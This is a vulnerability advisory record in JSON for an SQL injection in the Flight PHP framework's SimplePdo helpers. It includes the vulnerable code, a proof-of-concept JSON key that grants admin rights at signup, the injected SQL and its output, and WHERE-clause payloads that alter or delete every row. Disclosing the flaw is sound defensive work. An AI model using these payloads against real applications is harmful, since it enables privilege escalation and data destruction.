{"id":"CVE-2026-42550","aliases":["CVE-2026-42550","GHSA-xwqr-rcqg-22mr"],"related":[],"kind":"vulnerability","state":"published","title":"Flight: SQL Injection via unvalidated identifiers in SimplePdo::insert / update / delete","summary":"Flight is an extensible micro-framework for PHP. Prior to 3.18.1, SimplePdo::insert(), SimplePdo::update(), and SimplePdo::delete() build SQL statements by concatenating the $table argument and the keys of the $data array directly into the query, with no identifier quoting and no validation. When an application forwards user-controlled data shapes to these helpers — a common and documented pattern, e.g. $db->insert('users', $request->data->getData()) — an attacker can inject arbitrary SQL by crafting malicious array keys. This vulnerability is fixed in 3.18.1.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"Flight is an extensible micro-framework for PHP. Prior to 3.18.1, SimplePdo::insert(), SimplePdo::update(), and SimplePdo::delete() build SQL statements by concatenating the $table argument and the keys of the $data array directly into the query, with no identifier quoting and no validation. When an application forwards user-controlled data shapes to these helpers — a common and documented pattern, e.g. $db->insert('users', $request->data->getData()) — an attacker can inject arbitrary SQL by crafting malicious array keys. This vulnerability is fixed in 3.18.1.","source":"cvelist"},{"lang":"en","text":"### Summary\n`SimplePdo::insert()`, `SimplePdo::update()`, and `SimplePdo::delete()` build SQL statements by concatenating the `$table` argument and the **keys** of the `$data` array directly into the query, with no identifier quoting and no validation. When an application forwards user-controlled data shapes to these helpers — a common and documented pattern, e.g. `$db->insert('users', $request->data->getData())` — an attacker can inject arbitrary SQL by crafting malicious array keys.\n\n### Affected code\n`flight/database/SimplePdo.php`:\n\n```php\n// insert (≈ 320-373)\n$sql = sprintf(\n    \"INSERT INTO %s (%s) VALUES (%s)\",\n    $table,                            // raw concat\n    implode(', ', $columns),           // raw array_keys($data)\n    implode(', ', $placeholders)\n);\n\n// update (≈ 397-409)\n$sets[] = \"$column = ?\";               // $column = user-controlled key\n$sql = sprintf(\n    \"UPDATE %s SET %s WHERE %s\",\n    $table,                            // raw\n    implode(', ', $sets),\n    $where\n);\n\n// delete (≈ 427-429)\n$sql = \"DELETE FROM $table WHERE $where\";\n```\n\nNo identifier-quoting helper exists; neither `$table` nor the data keys are validated against a safe-identifier pattern.\n\n### Proof of concept\nA controller does:\n```php\n$db->insert('users', $request->data->getData());\n```\n\nThe attacker sends the JSON body:\n```json\n{\"name, is_admin) VALUES (?, 1);-- \": \"attacker_injected\"}\n```\n\nGenerated SQL:\n```sql\nINSERT INTO users (name, is_admin) VALUES (?, 1);-- ) VALUES (?)\n```\n\nAfter the `--` comment, the effective statement `INSERT INTO users (name, is_admin) VALUES (?, 1)` binds the single placeholder `'attacker_injected'`, yielding a row with `is_admin = 1`.\n\nReproduced live on an in-memory sqlite database (`testproj/sqli_live2.php`):\n\n```\nid=1  name=alice              is_admin=0\nid=2  name=attacker_injected  is_admin=1   <-- injected insert\n```\n\n`UPDATE` injection via the `$where` parameter was also reproduced: `$db->update('users', ['is_admin' => 1], \"id = 1 OR 1=1\")` flips admin on every row.\n\n### Impact\n- **Privilege escalation** on any signup / register endpoint that forwards request data to `insert()` (attacker creates an administrative account in a single request).\n- Arbitrary column write through `update()` keys.\n- Data destruction and exfiltration through the `$where` parameter (`DELETE FROM users WHERE 1=1`, UNION-based exfil, etc.).\n\n### Patch (fixed in `3.18.1`, commit `b8dd23a`)\nA new `requireSafeIdentifier()` helper validates table names and column names against `^[A-Za-z_][A-Za-z0-9_]*$` before they are interpolated into the SQL string. The `$where` parameter remains raw SQL as documented — parameterized values passed alongside it continue to be bound safely.\n\n### Credit\nDiscovered by **@Rootingg**.","format":"markdown","source":"ghsa"},{"lang":"es","text":"Flight es un micro-framework extensible para PHP. Antes de la versión 3.18.1, SimplePdo::insert(), SimplePdo::update() y SimplePdo::delete() construyen sentencias SQL concatenando el argumento $table y las claves del array $data directamente en la consulta, sin comillas de identificador y sin validación. Cuando una aplicación reenvía formas de datos controladas por el usuario a estas funciones auxiliares - un patrón común y documentado, p. ej. $db  ->  insert(’users’, $request  ->  data  ->  getData()) - un atacante puede inyectar SQL arbitrario creando claves de array maliciosas. Esta vulnerabilidad está corregida en la versión 3.18.1.","source":"nvd"}],"published":"2026-05-06T21:35:55.000Z","modified":"2026-10-26T14:10:00.130Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","score":8.8,"rating":"HIGH"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","score":8.8,"rating":"HIGH"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","score":8.8,"rating":"HIGH"}],"cwes":["CWE-89"],"affected":[{"ranges":[{"version":"< 3.18.1","status":"affected"}],"vendor":"flightphp","product":"core","source":"cvelist"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","fixed":"3.18.1"}],"ecosystem":"Packagist","package":"flightphp/core","purl":"pkg:composer/flightphp/core","source":"ghsa"}],"references":[{"url":"https://github.com/flightphp/core/security/advisories/GHSA-xwqr-rcqg-22mr","tags":["exploit","web","x-refsource-confirm"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42550","tags":["advisory"],"sources":["ghsa"]},{"url":"https://github.com/flightphp/core/commit/b8dd23aaa828cb289fa3c84e75b2a3717cab50b0","tags":["web"],"sources":["ghsa"]},{"url":"https://github.com/flightphp/core","tags":["package"],"sources":["ghsa"]},{"url":"https://github.com/flightphp/core/releases/tag/v3.18.1","tags":["web"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"no","technicalImpact":"total","date":"2026-05-14T15:43:39.063Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-42550","url":"https://www.cve.org/CVERecord?id=CVE-2026-42550","licence":"CVE Terms of Use","modified":"2026-05-14T15:44:19.900Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-xwqr-rcqg-22mr","url":"https://github.com/advisories/GHSA-xwqr-rcqg-22mr","licence":"CC-BY-4.0","modified":"2026-05-14T20:47:45.427Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-42550","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42550","licence":"Public domain","modified":"2026-10-26T14:10:00.130Z"}],"updatedAt":"2026-11-25T22:59:21.656Z","epss":{"score":0.00518,"percentile":0.37393,"date":"2026-11-30T12:00:22.000Z"}}